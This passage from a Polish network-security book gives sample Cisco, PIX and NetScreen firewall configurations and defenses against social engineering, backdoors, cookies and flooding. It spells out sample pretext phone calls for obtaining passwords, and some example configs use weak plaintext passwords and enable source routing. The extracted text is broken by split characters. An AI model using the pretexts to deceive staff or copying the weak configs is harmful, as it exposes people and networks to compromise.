ip nat inside source static 172.20.44.2 206.0.139.72
!
! Dynamiczny NAT
!
ip nat translation timeout 86400
ip nat translation tcp-timeout 86400
ip nat translation udp-timeout 300
ip nat translation dns-timeout 60
ip nat translation finrst-timeout 60
ip nat pool Cisco2611-natpool-40 172.29.44.10 172.29.44.250 netmask
255.255.255.0
ip nat inside source list 1 pool Cisco2611-natpool-40 overload
!
router rip
version 2
network 172.29.0.0
passive-interface Serial 0/0
no auto-summary
!
156
Hack Wars. Tom 2. Na tropie hakerów
156
!
ip classless
!
! Trasy statycznych adresów IP
ip route 0.0.0.0 0.0.0.0 Serial 0/0
no ip http server
snmp-server community xyzincnet1 RO
! Opcja 2: U
ż
ycie interfejsu WAN do dynamicznej translacji
ź
ródła
no ip name-server
!
ip subnet-zero
no ip domain-lookup
no proxy arp
ip routing
!
! Kontrola dost
ę
pu w oparciu o kontekst
!
no ip inspect audit-trail
ip inspect tcp synwait-time 30
ip inspect tcp finwait-time 5
ip inspect tcp idle-time 3600
ip inspect udp idle-time 30
ip inspect dns-timeout 5
ip inspect one-minute low 900
ip inspect one-minute high 1100
ip inspect max-incomplete low 900
ip inspect max-incomplete high 1100
ip inspect tcp max-incomplete host 50 block-time 0
!
! IP inspect Ethernet_0_0
!
no ip inspect name Ethernet_0_0
ip inspect name Ethernet_0_0 ftp
ip inspect name Ethernet_0_0 http java-list 99
ip inspect name Ethernet_0_0 tcp
ip inspect name Ethernet_0_0 realaudio
ip inspect name Ethernet_0_0 smtp
ip inspect name Ethernet_0_0 udp
!
interface Ethernet 0/0
no shutdown
description connected to EthernetLAN
ip address 172.29.44.1 255.255.0.0
ip nat inside
ip inspect Ethernet_0_0 in
ip access-group 100 in
keepalive 10
!
interface Ethernet 0/1
no description
no ip address
ip nat inside
shutdown
!
interface Serial 0/0
no shutdown
description connected to Internet
service-module t1 clock source line
service-module t1 data-coding normal
service-module t1 remote-loopback full
service-module t1 framing esf
service-module t1 linecode b8zs
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
157
157
service-module t1 lbo none
service-module t1 remote-alarm-enable
ip address 206.0.139.70 255.255.255.128
ip nat outside
ip access-group 101 in
encapsulation hdlc
!
!Lista kontroli dost
ę
pu ACL 1
!
no access-list 1
access-list 1 permit 172.29.0.0 0.0.255.255
access-list 1 permit 172.20.44.0 0.0.0.3
access-list 1 permit 172.18.0.0 0.0.255.255
!
!Lista kontroli dost
ę
pu ACL 99
!
no access-list 99
access-list 99 deny any
!
!Lista kontroli dost
ę
pu ACL 100
!
no access-list 100
access-list 100 permit udp any eq rip any eq rip
access-list 100 permit tcp any any range 20 21
access-list 100 permit tcp any any eq 80
access-list 100 permit tcp any any eq 144
access-list 100 permit tcp any any eq 7070
access-list 100 permit tcp any any eq 25
access-list 100 permit udp any any eq domain
!
!Lista kontroli dost
ę
pu ACL 101
!
no access-list 101
access-list 101 deny ip any any
!
! Dynamiczny NAT
!
ip nat translation timeout 86400
ip nat translation tcp-timeout 86400
ip nat translation udp-timeout 300
ip nat translation dns-timeout 60
ip nat translation finrst-timeout 60
ip nat inside source list 1 interface Serial 0/0 overload
!
router rip
version 2
network 172.29.0.0
passive-interface Serial 0/0
no auto-summary
!
!
ip classless
!
! Trasy statycznych adresów IP
ip route 0.0.0.0 0.0.0.0 Serial 0/0
no ip http server
snmp-server community xyzincnet1 RO
158
Hack Wars. Tom 2. Na tropie hakerów
158
Firewall Cisco PIX
Kolejna przykładowa konfiguracja odnosi się do firewalla PIX, który został dodany
na zewnątrz korporacyjnej sieci LAN i wewnątrz głównego routera internetowego
(zobacz rysunek 1.52).
ip address outside 206.1.139.1
ip address inside 172.29.44.1
global 1 206.1.139.10-206.1.139.250
nat 1 172.0.0.0
mailhost 206.0.139.72 172.20.44.2
Router Intel Express
W przypadku routera Intel Express filtry IP są definiowane dla poszczególnych łączy,
oddzielnie dla transmisji i odbioru. Aby zabezpieczyć sieć LAN przed nieautoryzo-
wanym dostępem, wykonaj poniższe czynności.
1.
Na ekranie Advanved ustaw dla łącza IP parametr Filtering na Enabled.
2.
Na ekranie Advanved wybierz dla łącza IP Rx Filters, aby zdefiniować filtry
odbioru. Takie filtry przekazują lub odrzucają przychodzący ruch z łącza.
3.
Ustaw Default Action na Discard, aby odrzucić wszystkie dane z tego łącza,
które nie mogą być przepuszczone przez konkretne filtry, lub ustaw Pass, aby
przepuścić wszystkie pakiety z wyjątkiem tych, które zostaną odrzucone przez
konkretne filtry.
4.
Ustaw parametr Logging na Enabled, aby przetestować działanie filtrów
(normalnie ten parametr jest ustawiony na Disabled w celu minimalizacji
nakładów na zewnętrzną obróbkę). Po włączeniu w dzienniku System Log
routera będą zapisywane szczegóły wszystkich pakietów, które zostały
odrzucone przez domyślne działanie filtrów.
5.
Dodaj i skonfiguruj filtry IP wymagane przez Twoją instalację. Użyj Add, aby
dołączyć nowy filtr po zaznaczonym filtrze, Insert, aby dodać nowy filtr przed
zaznaczonym filtrem, lub Setup w celu edycji zaznaczonego filtru.
Proszę zauważyć, iż kolejność definiowania filtrów ma znaczenie. Pierwszy odnoszący
się do pakietu filtr na liście spowoduje jego odfiltrowanie.
Firewall NetScreen
Przykładowa konfiguracja przedstawiona na rysunku 1.53 odnosi się do firewalla Net-
Screen, który został dodany na zewnątrz korporacyjnej sieci LAN i wewnątrz głównego
routera internetowego (zobacz rysunek 1.52).
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
159
159
Rysunek 1.53.
Scenariusz
konfiguracji firewalla
NetScreen
Inżynieria społeczna
W opinii publicznej hakerzy działają w ukryciu, przeprowadzając zdalną penetrację
systemów komputerowych w środku nocy lub atakując z użyciem siły. Od pewnego
czasu już tak się nie dzieje. Chociaż wiele technik hakerskich nie zmieniło się przez lata,
do typowych strategii dołączyła inżynieria społeczna, często używana jako główny
ś
rodek ataku. Inżynieria społeczna to metoda zmuszenia legalnego użytkownika ata-
kowanej sieci do wyjawienia najważniejszych informacji, takich jak nazwa logowania
i hasło. Taki proces odegrał główną rolę w wielu, dobrze znanych publicznie, atakach ha-
kerskich. Niesławny haker Kevin Mitnick ujawnił, iż sprytna taktyka inżynierii spo-
łecznej leżała u podstaw jego wielu skutecznych penetracji, włączając w to głośny atak na
Sun Microsystems w latach 80. (Firma Sun Microsystems twierdziła, iż prawdopodobnie
skradziony przez Mitnicka kod źródłowy był warty około 80 milionów dolarów). Rów-
nież wiele uwieńczonych powodzeniem ataków, które zostały przedstawione w pierw-
szym tomie tej książki, opierało się o proste techniki inżynierii społecznej.
Nie ma żadnej wątpliwości, iż obecnie wszyscy użytkownicy powinni zdawać sobie
sprawę z typowych taktyk inżynierii społecznej, które są powszechnie używane.
Obejmuje to na przykład podszywanie się pod nowego użytkownika lub pracownika
technicznego. Pewnym minimum powinno być nauczenie pracowników przestrzega-
nia ogólnej zasady nieujawniania nikomu swojego hasła pod żadnym pozorem, chyba
iż mają pewność, że rozmawiają z zaufaną osobą. Dla przykładu, udając nowego
użytkownika, napastnik może zadzwonić pod główny numer telefonu firmy będącej
celem ataku, a następnie poprosić o przełączenie do działu informatyki lub grupy
wsparcia technicznego. Po nawiązaniu rozmowy z osobą tam pracującą haker może poin-
formować, iż jest nowym pracownikiem tymczasowym, któremu nakazano skontak-
towanie się właśnie z tym działem w celu przydzielenia tymczasowej nazwy użyt-
kownika i hasła. Dodatkowe badanie może jeszcze bardziej ułatwić ten proces, gdyż
haker może na przykład sprawdzić nazwisko dyrektora ds. marketingu, a następnie po-
informować administratora „Dzień dobry, nazywam się Jan Kowalski. Jestem nowym
pracownikiem tymczasowym Roberta Nowaka (dyrektora działu marketingu), który po-
160
Hack Wars. Tom 2. Na tropie hakerów
160
wiedział mi, iż mam zadzwonić do pana w celu uzyskania tymczasowego hasła i nazwy
użytkownika”.
Udając z kolei pracownika działu technicznego, napastnik może poprosić o połączenie
z kimś z działu sprzedaży, komu następnie powie, iż Andrzej Malinowski, dyrektor
działu IT, nakazał mu skontaktowanie się ze wszystkimi użytkownikami danego dzia-
łu w celu weryfikacji informacji potrzebnych do zalogowania, ponieważ nowy serwer
ma zastąpić stary. Użytkowników należy również nauczyć, iż nie należy wyrzucać
ż
adnych informacji, które mogą stanowić jakąś wartość dla hakerów. Mogą to być listy
kontaktowe, schematy organizacyjne, podręczniki, dyskietki, taśmy archiwizacyjne, dyski
twarde, a także ważne dane różnego rodzaju. Wszystkie nośniki magnetyczne powinny
być wykasowane, a niepotrzebne papiery muszą być pocięte w niszczarkach dokumen-
tów. Należy pamiętać również o zamykaniu pomieszczeń z okablowaniem oraz cen-
trów danych. Wszystkie urządzenia firmowe powinny być inwentaryzowane i spraw-
dzane regularnie. Gościom zawsze muszą towarzyszyć pracownicy firmy, którzy z
kolei powinni nosić w biurze karty identyfikacyjne.
W czasie swojego przemówienia na konferencji Access All Areas w 1997 roku Harl
powiedział, iż w sprawie zapobiegania atakom przez inżynierię społeczną, pierwszym
krokiem powinno być uczynienie bezpieczeństwa komputerów częścią zadań każdego
pracownika, niezależnie od tego, czy używają oni komputerów. Podobnie jak w życiu,
edukacja jest najlepszą metodą zapobiegania atakom hakerów przy użyciu inżynierii
społecznej. Należy wyjaśnić pracownikom znaczenie bezpieczeństwa komputerów,
a następnie przedstawić im szczegóły dotyczące sposobów, używanych przez hakerów
do manipulacji ludźmi w celu uzyskania informacji. Menedżerowie powinni po-
znać typy osobowości, które łatwiej przekonać do ujawnienia danych osobie z zewnątrz,
a następnie poświęcić im więcej czasu na edukację. Podsumowując, najlepszą obroną
jest atak — wszyscy pracownicy firmy powinny znać i zaangażować się w politykę
bezpieczeństwa. Niewielkim wysiłkiem można uzyskać znaczne zmniejszenie ryzyka.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
161
161
161
Rozdział 2.
Mechanizmy ochrony
przed włamaniami
Jasne jest, iż jeśli nasze systemy komputerowe mają działać zgodnie z firmowymi lub
osobistymi zasadami bezpieczeństwa, to zawsze jakieś porty lub usługi będą do pewne-
go stopnia wrażliwe na ataki hakerów. Aby maksymalnie zredukować te słabości i za-
bezpieczyć się przed zdalną infiltracją, konieczne jest poznanie szczegółów pewnych
procedur, które powinny stać się częścią każdej polityki zabezpieczeń. Tego właśnie do-
tyczy drugi rozdział tej książki. W pierwszym omówiliśmy konkretne techniki, których
można użyć do uchronienia się przed atakami wykorzystującymi zarezerwowane
i ukryte porty oraz usługi. W tym poznasz kroki wymagane przy wprowadzaniu środ-
ków zabezpieczających, znane jako mechanizmy ochrony przed włamaniami. Jednym
zdaniem, są to techniki używane do zabezpieczenia systemu przed penetracją.
Zabezpieczanie przed penetracją
Ten rozdział może stanowić odpowiedź na pytania postawione w pierwszym tomie tej
książki, Hack wars. Na tropie hakerów, który przedstawia szczegółowe informacje doty-
czące różnego rodzaju prób penetracji systemu (włączając w to ataki polegające na: wy-
korzystaniu luk wykrytych w czasie zbierania informacji i skanowania lokalizacji, wywo-
łaniu ogólnego chaosu, uzyskaniu dostępu na prawach administratora, włamaniu się
i przejęciu kontroli nad komputerami, serwerami i urządzeniami sieciowymi, a także
wykorzystaniu potencjalnych dziur w zabezpieczeniach zarówno zdalnych, jak i lo-
kalnych). W tym rozdziale zademonstrujemy techniki pozwalające na zabezpieczenie
się przed takimi atakami. Poznamy metody ochrony przed programami wykorzystującym
tylne drzwi (backdoor), przepełnianiem (flooding), manipulacją dziennikami, bombar-
dowaniem pocztą (mail bombing), spamowaniem, łamaniem haseł, podszywaniem się
(spoofing), podsłuchiwaniem pakietów, wirusami oraz włamaniami na strony internetowe.
Przyjrzymy się także komercyjnym programom do tworzenia barier ochronnych, ręcznym
technikom zespołu Tiger Team, a także własnym sposobom zabezpieczania programów.
162
Hack Wars. Tom 2. Na tropie hakerów
162
Niektóre środki ochronne przed typowymi atakami hakerów zostaną omówione bardziej
szczegółowo. Po przeczytaniu będziesz posiadał wystarczającą wiedzę w zakresie za-
bezpieczenia lokalnej i zdalnej komunikacji.
Ochrona przed programami
wykorzystującymi tylne drzwi
Rozdział rozpoczniemy od omówienia technik wykorzystujących do włamania tylne
drzwi. Jak już stwierdziliśmy w pierwszym tomie tej książki, takie programy składają
się z narzędzi używanych przez hakerów do uzyskania i utrzymania dostępu do sys-
temu, a także do ukrycia swoich śladów dostępu. A ponieważ lekarstwo na takie pró-
by włamania może również posłużyć do naprawienia wad różnych systemów operacyj-
nych, w tej części przedstawimy także bariery ochronne przeciwko programom
wykorzystującym tylne drzwi. Odnoszą się one do aktualnie wykorzystywanej archi-
tektury zabezpieczeń bramy, co obejmuje na przykład firewalle, filtry oraz proxy za-
równo proste, jak i zaawansowane.
Badanie naruszeń zabezpieczeń przez programy tego typu może być skomplikowanym
przedsięwzięciem i dlatego musi być dokładnie zaplanowanie. W czasie fazy projek-
towania zabezpieczeń należy rozważyć trzy często występujące schematy implemen-
tacji narzędzi wykorzystujących tylne drzwi. Mowa tu o wirtualnej kontroli połącze-
nia, wewnętrznych implantach oraz wewnętrznych i zewnętrznych słabościach.
Wirtualna kontrola połączenia
Telnet, usługa współpracująca z zarezerwowanym portem 23, działa na szczycie pro-
tokołu TCP/IP jako emulator terminala dla sesji logowania. Ogólną zasadą jest, iż, je-
ś
li to tylko możliwe, należy zablokować tę usługę przed zdalnym dostępem. Niestety,
często jest ona niezbędna do zarządzania lokalnego.
W rozdziale 1. opisano sposób wyłączenia oraz zabezpieczenia tej usługi w syste-
mach Windows i UNIX. W przypadku systemów sieciowych możesz dokonać kilku
prostych modyfikacji konfiguracji w celu zdalnego zablokowania dostępu przez Tel-
net, pozwalając na lokalne uwierzytelnianie. Zajrzyj do podręcznika obsługi danego
urządzenia, aby uzyskać informacje na temat procedury i aktualizacji. W tej części
przyjrzymy się dokładniej dwóm podstawowym aplikacjom.
Przykład 1: Filtry urządzeń dostępowych Cisco
W scenariuszu przedstawionym na rysunku 2.1 dwie sieci są rozdzielone przy użyciu
routerów filtrujących dostęp. Łącze WAN między nimi może symbolizować dowolne
medium komunikacyjne, takie jak łącze dzierżawione, xDSL, ISDN, połączenie ko-
mutowane itp. (interfejs WAN oczywiście zmieni się odpowiednio; dla przykładu, je-
ś
li używasz DSL, będzie to Ethernet 1, a jeśli korzystasz z ISDN, interfejs wskaże
BRI 0). Można zmienić również zdalną sieć w celu przedstawienia Internetu, sieci
klienta, sieci LAN dostawcy itp. Przyjrzyjmy się teraz konfiguracji sprzętowej, która
musi spełnić następujące wymagania:
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
163
163
Rysunek 2.1.
Typowy scenariusz
sieci WAN z routerami
filtrującymi dostęp
lokalni użytkownicy mogą uzyskać dostęp do wszystkich usług w zdalnej sieci;
zdalni użytkownicy nie mogą korzystać z usług telnet i rtelnet w sieci lokalnej;
stosowane jest szyfrowanie haseł.
Konfiguracja lokalna
service password-encryption
no service tcp-small-servers
no service udp-small-servers
!
hostname Local
!
enable password 7 password
!
ip source-route
no ip name-server
!
ip subnet-zero
no ip domain-lookup
ip routing
!
interface Ethernet 0
no shutdown
description connected to Ethernet LAN
ip address 172.29.41.1 255.255.255.0
ip access-group 100 in
keepalive 10
!
interface Serial 0
no shutdown
description connected to Remote network
ip address 172.29.42.1 255.255.255.252
ip access-group 100 in
encapsulation hdlc
!
! Lista kontroli dost
ę
pu 100
!
access-list 100 deny ip 172.29.42.0 0.0.0.3 any
access-list 100 deny ip 172.29.43.0 0.0.0.255 any
164
Hack Wars. Tom 2. Na tropie hakerów
164
access-list 100 permit udp any eq rip any eq rip
access-list 100 permit tcp any any established
access-list 100 permit ip any 172.29.42.0 0.0.0.3
access-list 100 permit ip any 172.29.43.0 0.0.0.255
!
! Lista kontroli dost
ę
pu 101
!
access-list 100 deny ip 172.29.41.0 0.0.0.255 any
access-list 100 permit udp any eq rip any eq rip
access-list 100 permit tcp any any established
access-list 100 deny tcp 172.29.41.0 0.0.0.255 eq 23
access-list 100 deny tcp 172.29.41.0 0.0.0.255 eq 107
access-list 100 permit ip any 172.29.41.0 0.0.0.255
!
router rip
version 2
network 172.29.0.0
no auto-summary
!
!
ip classless
no ip http server
snmp-server community local RO
no snmp-server location
no snmp-server contact
!
line console 0
exec-timeout 0 0
password 7 123
login
!
line vty 0 4
password 7 password
login
Konfiguracja zdalna
service password-encryption
no service tcp-small-servers
no service udp-small-servers
!
hostname Remote
!
enable password password
!
no ip name-server
!
ip subnet-zero
no ip domain-lookup
ip routing
!
interface Ethernet 0
no shutdown
description connected to Ethernet LAN
ip address 172.29.43.1 255.255.255.0
keepalive 10
!
interface Serial 0
no shutdown
description connected to Local network
ip address 172.29.42.2 255.255.255.252
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
165
165
encapsulation hdlc
!
router rip
version 2
network 172.29.0.0
no auto-summary
!
!
ip classless
no ip http server
snmp-server community local RO
no snmp-server location
no snmp-server contact
!
line console 0
exec-timeout 0 0
password 123
login
!
line vty 0 4
password password
login
Przykład 2: Firewall NetScreen
Do scenariusza przedstawionego na rysunku 2.1 w tym przykładzie dodamy firewall Net-
Screen między lokalnym routerem a siecią LAN. Głównym celem tego firewalla jest
ochrona sieci lokalnej przed atakami hakerów, choć w tym przykładzie skoncentrujemy
się na wyłączeniu Telnetu dla użytkowników z zewnątrz. Na szczęście, dzięki zdobywają-
cemu nagrody interfejsowi konfiguracji NetScreen ta modyfikacja będzie bardzo prosta.
Będąc w głównym interfejsie, wybierz Configure z opcji menu System po lewej stronie.
Teraz w zakładce Interface na górze głównej ramki odnajdź opcję Untrust Interface
i anuluj zaznaczenie Telnet, tak jak pokazano to na rysunku 2.2.
Wewnętrzne implanty
Wewnętrzne implanty występują dość często i są wysoce niebezpieczne. Takie im-
planty są instalowane w wewnętrznej sieci przez zaufanego użytkownika, technika
lub osobę, na którą podziałano przy użyciu inżynierii społecznej. Jest to zwykle ktoś,
kto ma osobiste zastrzeżenia do firmy lub współpracownik hakera nie posiadającego
dostępu do sieci wewnętrznej.
Nie trzeba być osobą ze zmysłem technicznym, aby zdać sobie sprawę, iż ten typ za-
grożenia wymaga wprowadzenia polityki zabezpieczeń, która obejmuje blokowanie
dostępu do centrów danych, kamery, a także dzienniki modyfikacji zawierające in-
formacje o dostępie do systemu. Każdy serwer, router i firewall powinien mieć włączoną
166
Hack Wars. Tom 2. Na tropie hakerów
166
Rysunek 2.2.
Wyłączanie funkcji
Telnet w interfejsie
użytkownika
NetScreen
funkcję zapisywania regularnie archiwizowanych dzienników (obejmuje to również ta-
ś
my z kamer). Komercyjne programy, które zawierają standardowe mechanizmy two-
rzenia dzienników, powinny być używane nie tylko do badania działania funkcji, ale
także do zbierania dowodów na aktywność zespołów hakerskich. Wszyscy goście, ze-
wnętrzni konsultanci i dostawcy powinni wchodzić do biura tylko w towarzystwie auto-
ryzowanych pracowników i przez cały czas nosić plakietki identyfikujące.
Wewnętrzne i zewnętrzne słabości
Jeśli sieć oferuje zdalne usługi ze strefy zdemilitaryzowanej lub za pomocą bezpiecz-
nego połączenia przez firewall (do wewnętrznej sieci LAN) na zewnątrz sieci we-
wnętrznej, niektóre usługi mogą być podatne na implementację narzędzi wykorzystu-
jących tylne drzwi. Jest to zwykle możliwe po skutecznej penetracji w czasie ataku
wstępnego, takiego jak próba przepełnienia bufora czy portu.
Większość systemów zabezpieczeń jest uważana za nieadekwatne, co oznacza, iż ha-
ker może co najmniej spowodować przepełnienie bufora lub portu. Aby zabezpieczyć
się przed takimi próbami wstępnego ataku, uprościłem szczegółowe techniki Tiger
Team do postaci listy czynności do wykonania. Bardzo ważne jest wykonanie in-
strukcji przedstawionych w kolejnych sekcjach rozdziału i potraktowanie ich jako
niezbędnej polityki zabezpieczającej przed zablokowaniem systemu. Prawdę mówiąc,
każdy krok przedstawiony w poszczególnych rozdziałach tej książki powinien stać się
częścią takiej niezbędnej procedury.
Ochrona przed cookies
W czasie przeglądania Internetu, niezależnie od wykonywanych czynności i odwiedza-
nych stron, prawie każdy może śledzić Twoje ruchy, zbierając osobiste informacje
o Tobie. Taki wyciek ważnych informacji jest możliwy dzięki cookies. Zgodnie z wcze-
ś
niejszymi informacjami wiemy, że cookie to mały plik, który zawiera dane wukorzy-
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
167
167
stywane przez przeglądarki internetowe. Dowiedzieliśmy się także, jak możemy wyłą-
czyć cookies, modyfikując ustawienia zabezpieczeń przeglądarki. Taki drastyczny krok
może jednak nie spotkać się z pozytywnym przyjęciem, ponieważ niektóre strony pró-
bują dokonać personalizacji naszych wizyt, pamiętając nasze imiona, rekomendując
produkty i śledząc nasze konta. Alternatywą w takiej sytuacji może być zastosowanie
menedżera cookies.
Menedżerzy cookies to narzędzia, które monitorują i przechwytują niepożądaną komu-
nikację cookies w tle. W czasie przeglądania Internetu, kiedy witryna próbuje użyć co-
okies do zebrania danych demograficznych, śledzić sposób wykorzystania strony lub
zebrać dane osobiste, sprytny menedżer przechwyci takie cookies i zapyta nas o sposób
postępowania. Dobry menedżer potrafi również wykryć programy lokalne, które próbu-
ją uzyskać dostęp do Internetu z naszego komputera.
Aby jeszcze bardziej zadbać o swoją prywatność, pamiętaj o zastosowaniu dobrego me-
nedżera cookies, najlepiej takiego, który oferuje funkcję usuwania już istniejących. Mo-
ż
esz wybrać jeden z poniższych programów:
McAfee Internet Security 4.0 (www.mcafee-at-home.com),
Limit Software Cookie Crusher 2.6 (www.thelimitsoft.com),
Kookaburra Software Cookie Pal (www.kburra.com),
Idcide Privacy Wall (www.idcide.com).
Ochrona przed przepełnieniem
W pierwszym tomie tej książki przedstawiliśmy wiele typowych odmian ataków przy
użyciu przepełniania, włączając w to techniki TCP, UDP i ICMP oraz przepełnianie
portów zarezerwowanych i sieci. Znalazła się tam także demonstracja sposobu, w jaki
napastnik może spowodować w zaatakowanych urządzeniach poważne przeciążenie
sieci, a w niektórych przypadkach nawet odmowę świadczenia usług. Całe sieci zosta-
ły „rzucone na kolana” przez przepełnienie w czasie rozgłaszania danych. Odpowie-
dzią jest ta część opisująca środki ochronne przed tymi typowymi zagrożeniami;
omówiony tu zostanie sposób postępowania dla serwerów, stacji roboczych i urzą-
dzeń sieciowych. Rozpoczniemy od zademonstrowania sposobów zabezpieczeń stacji
roboczych, następnie przejdziemy do serwerów i zakończymy na urządzeniach sie-
ciowych.
Jeśli nie masz własnej karty sieciowej lub wirtualnego demona, być może nie będziesz
miał dostępu do opcji konfiguracji chroniących przed przepełnieniem TCP, UDP i ICMP.
W takiej sytuacji należy uzyskać odpowiednie oprogramowanie zabezpieczające, takie
jak firewalle czy narzędzia typu BlackICE Defender (w części 1. tej książki przedsta-
wiono wiele zestawów oprogramowania, które udostępniają zabezpieczenia przed tech-
nikami przepełniania). Przykład takiego programu znajduje się na rysunku 2.3; przyjrzyj
się, jak BlackICE można skonfigurować na różnych poziomach zabezpieczenia przed
niepożądanym ruchem.
168
Hack Wars. Tom 2. Na tropie hakerów
168
Rysunek 2.3.
Konfiguracja
narzędzia BlackICE
zapewniająca
ochronę przed
niepożądanym
ruchem
Zwykle takie narzędzie jest ustawione na poziom zabezpieczeń, który automatycznie
chroni poszczególne stacje robocze przed przepełnieniem. Uruchomiona jest również
funkcja zapisywania wszystkich działań w dzienniku. Rysunek 2.4 przedstawia funk-
cję wykrywania i zabezpieczania przed przepełnieniem ICMP wraz z opcją dodania
hakera do listy zablokowanych adresów.
Rysunek 2.4.
Ochrona
i zabezpieczenie
przed przepełnieniem
ICMP
Ten sam typ narzędzi może być wykorzystany do zabezpieczenia pojedynczych ser-
werów, ale mimo to omówimy najpopularniejsze metody ochrony usług oferowanych
przez serwery.
Należy pamiętać o przestrzeganiu ogólnej zasady, mówiącej o instalacji najnowszej wer-
sji systemu operacyjnego i wszystkich aktualizacji. Producenci oprogramowania dokła-
dają starań, aby przeciwdziałać nowym odmianom ataków hakerów. Należy także do-
brze zabezpieczyć zarezerwowane usługi portów, takie jak echo, chargen i telnet, dzięki
czemu istnieje szansa wyeliminowania wielu zdalnych napastników.
Aby wyłączyć te usługi w systemach Windows, musisz dokonać edycji rejestru syste-
mowego, uruchamiając narzędzie regedit.exe ze znaku zachęty Start|Uruchom. Wyszu-
kaj wpisy dla tych usług i ustaw ich wartość na
false
lub
0
. Po zakończeniu edycji zre-
startuj system i zweryfikuj wszystkie modyfikacje. Jeśli chcesz wyłączyć te usługi
w systemie UNIX, po prostu dokonaj edycji pliku /etc/inetd.conf i oznacz wpis usługi
jako komentarz. Następnie zrestartuj cały system lub tylko proces inetd. Więcej infor-
macji na temat tych procedur możesz znaleźć w rozdziale 1. Tak jak wspomniano w tym
rozdziale, jeśli masz wątpliwości dotyczące tych modyfikacji, możesz zajrzeć do dodat-
ku A, gdzie znajdują się informacje na temat różnych programów zabezpieczających.
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
169
169
TigerWatch pozwala na aktywne monitorowanie i blokowanie portów systemowych
i usług bez konieczności dokonywania zmian w rejestrze lub ręcznego wyłączania danej
usługi.
W przypadku gdy dana usługa jest wymagana przez firmowe lub osobiste zasady dzia-
łania, możesz w UNIX-ie włączyć funkcję wrap dla tej usługi lub ograniczyć liczbę
jednoczesnych połączeń z daną usługą. Ograniczająć liczbę odpowiedzi na zapytania
portu, możesz uniknąć przepełnienia, ponieważ serwer poświęci zasoby tylko na bez-
pieczną ilość otwartych sesji (patrz rysunek 2.5). Ta procedura jest szczególnie polecana
dla demonów typu Telnet, FTP i http. Nie należy również zapomnieć o wyłączeniu ba-
nerów usług oraz otwieraniu dostępnych sesji przy użyciu adresów IP lub zaszyfrowanego
uwierzytelniania.
Rysunek 2.5.
Ograniczanie zapytań
sesji usługi
Obecnie producenci sprzętu sieciowego dołączają do swoich urządzeń zaawansowane
moduły i aktualizacje zabezpieczające przed przepełnieniem. Zanim więc kupisz no-
wy sprzęt, wybierz urządzenie, które jest stabilne i nie znajduje się w fazie testowej
lub na początku produkcji. Inżynierowie zawsze kompilują nowsze wersje urządzeń
z prostszym interfejsem działania oraz mniej enigmatycznymi procedurami wiersza
poleceń. Dobrym przykładem mogą być tutaj routery Cisco z włączoną funkcją fire-
walla, które oferują zaawansowane opcje zabezpieczeń wymienione poniżej.
Global Timer Values (globalne wartości liczników). Te opcje determinują
okres czasu, jaki musi minąć dla różnych stanów połączeń, zanim połączenie
zostanie przerwane.
TCP connection timeout — czas oczekiwania na połączenie TCP, zanim
połączenie nie zostanie przerwane.
TCP FIN-wait timeout — czas oczekiwania na zakończenie połączenia
TCP, zanim połączenie nie zostanie przerwane.
TCP idle timeout — czas braku aktywności połączenia TCP, zanim
połączenie nie zostanie przerwane.
UDP idle timeout — czas braku aktywności połączenia UDP, zanim
połączenie nie zostanie przerwane.
DNS timeout — czas dozwolony na próbę połączenia z serwerem DNS,
zanim próba nie zostanie uznana za nieudaną.
DoS Attack Threshold (progi liczników ataków DoS). Te opcje ograniczają
liczbę półotwartych sesji DoS. Niezwykle wysoka liczba półotwartych sesji
DoS zarówno pod względem liczby całkowitej, jak i prędkości przyrostu
może świadczyć o próbie ataku DoS (odmowa usługi). Górne wartości
170
Hack Wars. Tom 2. Na tropie hakerów
170
progów w tej grupie wskazują liczbę sesji, która wywołuje usunięcie
półotwartych sesji. Usuwanie takich sesji będzie trwało aż do momentu
osiągnięcia dolnej wartości odpowiedniego progu.
One-minute low threshold — liczba półotwartych sesji DoS w ciągu
ostatniej minuty, która powoduje przerwanie procesu usuwania sesji DoS.
One-minute high threshold — liczba półotwartych sesji DoS w ciągu
ostatniej minuty, która powoduje rozpoczęcie procesu usuwania sesji DoS.
Maximum incomplete session low threshold — całkowita liczba półotwartych
sesji DoS, która powoduje przerwanie procesu usuwania sesji DoS.
Maximum incomplete session high threshold — całkowita liczba
półotwartych sesji DoS, która powoduje rozpoczęcie procesu usuwania
sesji DoS.
TCP Maximum Incomplete Sessions per Host (maksymalna liczba
półotwartych sesji TCP dla hosta). Podaje maksymalną liczbę sesji, które
mogą być otwarte dla każdego hosta, zanim wywołane zostanie jakieś
działanie. To działanie jest zależne od wartości Blocking Time.
Blocking Time (czas blokowania). Jeśli włączona jest ta opcja, to po osiągnięciu
maksymalnej wartości TCP Maximum Incomplete Sessions per Host router
przestanie akceptować kolejne sesje, aż do momentu upływu czas podanego
przez tę opcję. Jeśli wyłączono tę funkcję, każda nowa sesja spowoduje
zamknięcie najstarszej sesji.
Przypomnij sobie scenariusz przedstawiony na rysunku 2.1 z działającym firewallem.
Zaawansowane opcje zabezpieczeń zmienią konfigurację uruchomionego routera lo-
kalnego w następujący sposób.
service password-encryption
no service tcp-small-servers
no service udp-small-servers
!
hostname Local
!
enable password 7 password
!
ip source-route
no ip name-server
!
ip subnet-zero
no ip domain-lookup
ip routing
!
! Kontrola dost
ę
pu w oparciu o kontekst
!
ip inspect tcp synwait-time 30
ip inspect tcp finwait-time 5
ip inspect tcp idle-time 3600
ip inspect udp idle-time 30
ip inspect dns-timeout 5
ip inspect one-minute low 900
ip inspect one-minute high 1100
ip inspect max-incomplete low 900
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
171
171
ip inspect max-incomplete high 1100
ip inspect tcp max-incomplete host 50 block-time 2
!
! IP inspect Ethernet_0
!
ip inspect name Ethernet_0 tcp
ip inspect name Ethernet_0 udp
ip inspect name Ethernet_0 cuseeme
ip inspect name Ethernet_0 ftp
ip inspect name Ethernet_0 h323
ip inspect name Ethernet_0 rcmd
ip inspect name Ethernet_0 realaudio
ip inspect name Ethernet_0 smtp
ip inspect name Ethernet_0 streamworks
ip inspect name Ethernet_0 vdolive
ip inspect name Ethernet_0 sqlnet
